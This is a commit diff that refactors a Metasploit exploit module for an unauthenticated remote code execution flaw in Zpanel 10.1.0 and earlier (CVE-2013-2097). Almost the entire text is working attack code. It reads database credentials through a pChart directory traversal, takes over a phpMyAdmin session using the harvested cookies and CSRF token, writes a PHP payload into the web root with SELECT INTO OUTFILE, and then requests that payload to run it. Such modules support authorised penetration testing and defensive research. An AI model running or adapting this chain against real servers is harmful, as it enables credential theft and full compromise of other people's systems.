Make code changes for zpanel_information_disclosure_rce.rb
Use Nokogiri and URI, as well as indent fixes and other thingsbug/bundler_fix
parent
28454f3b2e
commit
728fd17856
|
@ -1,5 +1,7 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/exploit/php_exe'
|
||||
require 'nokogiri'
|
||||
require 'uri'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
|
@ -12,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Name' => 'Zpanel Remote Unauthenticated RCE',
|
||||
'Description' => %q{
|
||||
This module exploits an information disclosure vulnerability
|
||||
found in Zpanel <= 10.1.0. The vulnerability exposed due to a
|
||||
found in Zpanel <= 10.1.0. The vulnerability is due to a
|
||||
vulnerable version of pChart allowing remote, unauthenticated,
|
||||
users to read arbitrary files found on the filesystem. This
|
||||
particular module utilizes this vulnerability to identify the
|
||||
|
@ -21,18 +23,19 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
SQL commands to drop a malicious payload on the filesystem and
|
||||
call it leading to remote code execution.
|
||||
},
|
||||
'Author' => [
|
||||
'dawn isabel',
|
||||
'brad wolfe',
|
||||
'brent morris',
|
||||
'james fitts'
|
||||
'Author' =>
|
||||
[
|
||||
'dawn isabel',
|
||||
'brad wolfe',
|
||||
'brent morris',
|
||||
'james fitts'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-2097' ],
|
||||
[ 'EDB', '31173' ],# pChart
|
||||
[ 'OSVDB', '102595' ],# pChart
|
||||
[ 'EDB', '31173' ], # pChart
|
||||
[ 'OSVDB', '102595' ], # pChart
|
||||
[ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],
|
||||
[ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]
|
||||
|
@ -42,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BadChars' => "\x00",
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
|
||||
|
@ -51,227 +54,239 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 30 2014'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def dot_dot_slash(uri)
|
||||
res = send_request_cgi({
|
||||
'method'=>'get',
|
||||
'uri'=> normalize_uri("#{uri}", "etc", "lib", "pChart2", "examples", "index.php"),
|
||||
'vars_get'=> {
|
||||
'Action'=> 'View',
|
||||
'Script'=> '../../../../cnf/db.php'
|
||||
},
|
||||
'version'=>"1.1",
|
||||
})
|
||||
|
||||
uname = res.body.scan(/(?<=\$user <\/span><span style\="color: #007700"\>= <\/span><span style\="color: #DD0000"\>')[A-Za-z0-9]+/)
|
||||
|
||||
passwd = res.body.scan(/(?<=\$pass <\/span><span style\="color: #007700"\>= <\/span><span style\="color: #DD0000"\>')[A-Za-z0-9@#\$\%\^\&\+=_]+/)
|
||||
|
||||
dbname = res.body.scan(/(?<=\$dbname <\/span><span style\="color: #007700"\>= <\/span><span style\="color: #DD0000"\>')[A-Za-z0-9_]+/)
|
||||
|
||||
return uname, passwd, dbname
|
||||
end
|
||||
|
||||
def grab_sess_and_token(uri)
|
||||
print_status("Attempting to get PHPSESSIONID")
|
||||
res = send_request_cgi({
|
||||
'method'=>'GET',
|
||||
'uri'=>normalize_uri("#{uri}"),
|
||||
'version'=>'1.1'
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
|
||||
end
|
||||
cookies = res.get_cookies
|
||||
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
|
||||
|
||||
if sid.length > 0
|
||||
print_good("PHPSESSID identified!")
|
||||
print_good("PHPSESSID = #{sid.split("=")[1]}")
|
||||
|
||||
print_status("Attempting to get CSRF token")
|
||||
res = send_request_cgi({
|
||||
'method'=>'GET',
|
||||
'uri'=>normalize_uri("#{uri}", "etc", "apps", "phpmyadmin", "index.php"),
|
||||
'version'=>'1.1',
|
||||
'Cookie'=>"#{sid}"
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
|
||||
end
|
||||
token = "#{res.body.to_s.scan(/(?<=name\="token" value\=")[A-Za-z0-9]+/)}"
|
||||
token = token.to_s[2..-3]
|
||||
token = token[0..31]
|
||||
cookies = res.get_cookies
|
||||
|
||||
cookies = cookies.split("; ")
|
||||
cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"
|
||||
|
||||
if token.length > 0
|
||||
print_good("CSRF token identified!")
|
||||
print_good("CSRF token = #{token}")
|
||||
return cookies, token, sid
|
||||
else
|
||||
print_error("CSRF token could not be identified...")
|
||||
end
|
||||
else
|
||||
print_error("PHPSESSID could not be identified...")
|
||||
end
|
||||
end
|
||||
|
||||
def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
|
||||
old_cookies = cookies
|
||||
|
||||
res = send_request_cgi({
|
||||
'method'=>'POST',
|
||||
'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "index.php"),
|
||||
'cookie'=>cookies,
|
||||
'ctype'=>"application/x-www-form-urlencoded",
|
||||
'headers'=>{
|
||||
'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
|
||||
},
|
||||
'vars_post'=>{
|
||||
'pma_username'=>uname,
|
||||
'pma_password'=>passwd,
|
||||
'server'=>"1",
|
||||
'lang'=>"en",
|
||||
'collation_connection'=>"utf8_general_ci",
|
||||
'token'=>token
|
||||
}
|
||||
})
|
||||
|
||||
cookies = "#{res.get_cookies}"
|
||||
|
||||
old_cookies = old_cookies.split("; ")
|
||||
cookies = cookies.split("; ")
|
||||
|
||||
new_cookies = "#{old_cookies[0]}; "
|
||||
new_cookies << "#{old_cookies[1]}; "
|
||||
new_cookies << "#{old_cookies[2]}; "
|
||||
new_cookies << "#{old_cookies[3]}; "
|
||||
new_cookies << "#{cookies[0]}; "
|
||||
new_cookies << "#{cookies[1]} "
|
||||
new_cookies << "#{sess_id}"
|
||||
|
||||
token = res['Location'].to_s.scan(/(?<=token\=)[A-Za-z0-9]+/)
|
||||
token = token.to_s[2..-3]
|
||||
|
||||
res = send_request_cgi({
|
||||
'method'=>'GET',
|
||||
'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "index.php"),
|
||||
'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
|
||||
'cookie'=>new_cookies,
|
||||
'vars_get'=>{
|
||||
'token'=>token
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
|
||||
end
|
||||
|
||||
if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
|
||||
print_good("PHPMyAdmin login successful!")
|
||||
return new_cookies, token
|
||||
end
|
||||
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def do_sql(cookies, token, uri)
|
||||
def get_setting(res, setting_name)
|
||||
n = ::Nokogiri::HTML(res.body)
|
||||
spans = n.search('//code//span//span')
|
||||
found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first
|
||||
val = found_element.next.next.text
|
||||
val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''
|
||||
end
|
||||
|
||||
fname = "#{rand_text_alpha_upper(5)}.php"
|
||||
sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""
|
||||
def get_user(res)
|
||||
get_setting(res, 'user')
|
||||
end
|
||||
|
||||
def get_passwd(res)
|
||||
get_setting(res, 'pass')
|
||||
end
|
||||
|
||||
def get_dbname(res)
|
||||
get_setting(res, 'dbname')
|
||||
end
|
||||
|
||||
def dot_dot_slash(uri)
|
||||
res = send_request_cgi({
|
||||
'method' =>'GET',
|
||||
'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),
|
||||
'vars_get' => {
|
||||
'Action' => 'View',
|
||||
'Script' => '../../../../cnf/db.php'
|
||||
}
|
||||
})
|
||||
|
||||
uname = get_user(res)
|
||||
passwd = get_passwd(res)
|
||||
dbname = get_dbname(res)
|
||||
|
||||
return uname, passwd, dbname
|
||||
end
|
||||
|
||||
def get_token_from_form(res)
|
||||
hidden_inputs = res.get_hidden_inputs
|
||||
hidden_inputs.first['token']
|
||||
end
|
||||
|
||||
def get_token_from_url(url)
|
||||
u = URI(url)
|
||||
u.query.split('&').each do |param|
|
||||
param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten
|
||||
return param_value if param_name == 'token'
|
||||
end
|
||||
|
||||
''
|
||||
end
|
||||
|
||||
def grab_sess_and_token(uri)
|
||||
print_status('Attempting to get PHPSESSIONID')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("#{uri}"),
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
|
||||
end
|
||||
|
||||
cookies = res.get_cookies
|
||||
sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || ''
|
||||
|
||||
if sid.length > 0
|
||||
print_good('PHPSESSID identified!')
|
||||
print_good("PHPSESSID = #{sid.split("=")[1]}")
|
||||
|
||||
print_status('Attempting to get CSRF token')
|
||||
res = send_request_cgi({
|
||||
'method'=>'POST',
|
||||
'uri'=>normalize_uri("etc", "apps", "phpmyadmin", "import.php"),
|
||||
'version'=>'1.1',
|
||||
'cookie'=>cookies,
|
||||
'ctype'=>'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'headers'=>{
|
||||
'X-Requested-With'=>"XMLHttpRequest",
|
||||
'Referer'=>"http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
|
||||
},
|
||||
'vars_post'=>{
|
||||
'is_js_confirmed'=>"0",
|
||||
'token'=>token,
|
||||
'pos'=>"0",
|
||||
'goto'=>"server_sql.php",
|
||||
'message_to_show'=>"Your+SQL+query+has+been+executed+successfully",
|
||||
'prev_sql_query'=>"",
|
||||
'sql_query'=>sql_stmt,
|
||||
'sql_delimiter'=>";",
|
||||
'show_query'=>"1",
|
||||
'ajax_request'=>"true",
|
||||
'_nocache'=>rand.to_s[2..19].to_i
|
||||
},
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),
|
||||
'Cookie' => "#{sid}"
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
|
||||
fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
|
||||
end
|
||||
|
||||
if res.body =~ /"success":true/
|
||||
print_good("'#{fname}' successfully uploaded")
|
||||
token = get_token_from_form(res)
|
||||
cookies = res.get_cookies
|
||||
|
||||
print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
|
||||
|
||||
print_status("Executing '#{fname}' on the remote host")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method'=>'GET',
|
||||
'uri'=>normalize_uri("#{uri}", "#{fname}"),
|
||||
'version'=>'1.1'
|
||||
})
|
||||
cookies = cookies.split('; ')
|
||||
cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"
|
||||
|
||||
if token.length > 0
|
||||
print_good('CSRF token identified!')
|
||||
print_good("CSRF token = #{token}")
|
||||
return cookies, token, sid
|
||||
else
|
||||
print_error("#{res.body.to_s}")
|
||||
print_error('CSRF token could not be identified...')
|
||||
end
|
||||
else
|
||||
print_error('PHPSESSID could not be identified...')
|
||||
end
|
||||
end
|
||||
|
||||
def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
|
||||
old_cookies = cookies
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
|
||||
'cookie' => cookies,
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'headers'=>
|
||||
{
|
||||
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
|
||||
},
|
||||
'vars_post' => {
|
||||
'pma_username' => uname,
|
||||
'pma_password' => passwd,
|
||||
'server' => '1',
|
||||
'lang' => 'en',
|
||||
'collation_connection' => 'utf8_general_ci',
|
||||
'token' => token
|
||||
}
|
||||
})
|
||||
|
||||
cookies = "#{res.get_cookies}"
|
||||
|
||||
old_cookies = old_cookies.split("; ")
|
||||
cookies = cookies.split("; ")
|
||||
|
||||
new_cookies = "#{old_cookies[0]}; "
|
||||
new_cookies << "#{old_cookies[1]}; "
|
||||
new_cookies << "#{old_cookies[2]}; "
|
||||
new_cookies << "#{old_cookies[3]}; "
|
||||
new_cookies << "#{cookies[0]}; "
|
||||
new_cookies << "#{cookies[1]} "
|
||||
new_cookies << "#{sess_id}"
|
||||
|
||||
token = get_token_from_url(res['Location'])
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
|
||||
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
|
||||
'cookie' => new_cookies,
|
||||
'vars_get' => {
|
||||
'token' => token
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Checking pChart
|
||||
if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
|
||||
print_good('PHPMyAdmin login successful!')
|
||||
return new_cookies, token
|
||||
end
|
||||
end
|
||||
|
||||
def do_sql(cookies, token, uri)
|
||||
fname = "#{rand_text_alpha_upper(5)}.php"
|
||||
sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\""
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),
|
||||
'cookie' => cookies,
|
||||
'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'headers' => {
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
|
||||
},
|
||||
'vars_post' => {
|
||||
'is_js_confirmed' => '0',
|
||||
'token' => token,
|
||||
'pos' => '0',
|
||||
'goto' => 'server_sql.php',
|
||||
'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',
|
||||
'prev_sql_query' => '',
|
||||
'sql_query' => sql_stmt,
|
||||
'sql_delimiter' => ';',
|
||||
'show_query' => '1',
|
||||
'ajax_request' => 'true',
|
||||
'_nocache' => rand.to_s[2..19].to_i
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
|
||||
end
|
||||
|
||||
if res.body =~ /"success":true/
|
||||
print_good("'#{fname}' successfully uploaded")
|
||||
print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
|
||||
print_status("Executing '#{fname}' on the remote host")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method'=> 'GET',
|
||||
'uri'=> normalize_uri("#{datastore['URI']}", "etc", "lib", "pChart2", "examples", "index.php")
|
||||
'method'=>'GET',
|
||||
'uri'=>normalize_uri("#{uri}", "#{fname}")
|
||||
})
|
||||
else
|
||||
print_error("#{res.body.to_s}")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Checking pChart
|
||||
res = send_request_cgi({
|
||||
'method'=> 'GET',
|
||||
'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')
|
||||
})
|
||||
|
||||
# if pChart is vuln version
|
||||
if res.body =~ /pChart 2.x/
|
||||
db_info = dot_dot_slash("#{datastore['URI']}")
|
||||
db_info = db_info.flatten
|
||||
uname = db_info[0]
|
||||
passwd = db_info[1]
|
||||
db_name = db_info[2]
|
||||
|
||||
if res.body =~ /pChart 2\.x/
|
||||
uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")
|
||||
if uname.length > 0 && passwd.length > 0
|
||||
print_good("Directory traversal successful, Username/Password identified!")
|
||||
print_good('Directory traversal successful, Username/Password identified!')
|
||||
print_good("Username: #{uname}")
|
||||
print_good("Password: #{passwd}")
|
||||
print_good("DB Name: #{db_name}")
|
||||
|
||||
cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")
|
||||
|
||||
print_status("Logging into PHPMyAdmin now")
|
||||
print_status('Logging into PHPMyAdmin now')
|
||||
cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)
|
||||
|
||||
print_status("Uploading malicious payload now")
|
||||
print_status('Uploading malicious payload now')
|
||||
do_sql(cookies, token, "#{datastore['URI']}")
|
||||
|
||||
else
|
||||
print_error("It appears that the directory traversal was unsuccessful...")
|
||||
print_error('It appears that the directory traversal was unsuccessful...')
|
||||
end
|
||||
|
||||
else
|
||||
print_error("It appears that the version of pChart is not vulnerable...")
|
||||
else
|
||||
print_error("It appears that the version of pChart is not vulnerable...")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue